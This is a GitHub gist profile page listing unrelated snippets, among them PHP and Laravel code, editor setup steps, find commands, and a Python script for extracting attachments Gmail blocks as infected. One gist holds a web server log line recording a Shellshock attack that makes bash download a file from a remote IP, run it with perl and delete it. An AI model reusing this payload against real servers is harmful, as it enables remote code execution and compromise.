VOOZH about

URL: https://gist.github.com/saji89

⇱ saji89’s gists Β· GitHub


Skip to content
Sign in Sign up

Instantly share code, notes, and snippets.

Saji Nediyanchath saji89

Philomath, programmer, an avid reader.
View GitHub Profile
saji89 / extract-attachments.py
Created β€” forked from stefansundin/extract-attachments.py
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on: https://spapas.github.io/2014/10/23/retrieve-gmail-blocked-attachments/
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
saji89 / sublime-phpcs.md
Last active
Steps to setup PHP code sniffer package in Sublime text

Steps

  1. Install the package using Package Control - PhpCs(sublime-phpcs)

  2. Download the phar files needed for the functioning of the plugin:

curl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcs.phar
curl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcbf.phar
<?php
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
/**
* The console command name.
*
* @var string
<?php
function unescapeUTF8EscapeSeq($str)
{
return preg_replace_callback("/\\\u([0-9a-f]{4})/i",
create_function('$matches',
'return html_entity_decode(\'&#x\'.$matches[1].\';\', ENT_QUOTES, \'UTF-8\');'
), $str);
}
$unicodeEncodedvalue = '\u041d\u0438\u043a\u043e\u043b\u0430\u0439 \u0420\u0435\u0448\u0438\u0442\u043a\u043e';

Controller class names

Plural, CamelCased, and end in Controller


Multiword Controller URLS's

Multiple word controllers can be any β€˜inflected’ form which equals the controller name so:

 find . \( -name "*.c" -o -name "*.h" -o -name "*.sc" -o -name "*.ini" \) -print
 
 find . -type f \( -name "*.avi" -name "*.mp4" -name "*.mkv" -name "*.mpg" -name "*.mpeg"\)
saji89 / test.md
Last active
Abstract class vs Interface (In PHP)

e.g:

Abstract class

| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22

Pure CSS Taj Mahal

Pure CSS Taj Mahal by Jan Dennison @jannypie Inspired by the pure CSS White House by Kevin Jannis @kevinjannis

A Pen by jan dennison on CodePen.

License.

NewerOlder
You can’t perform that action at this time.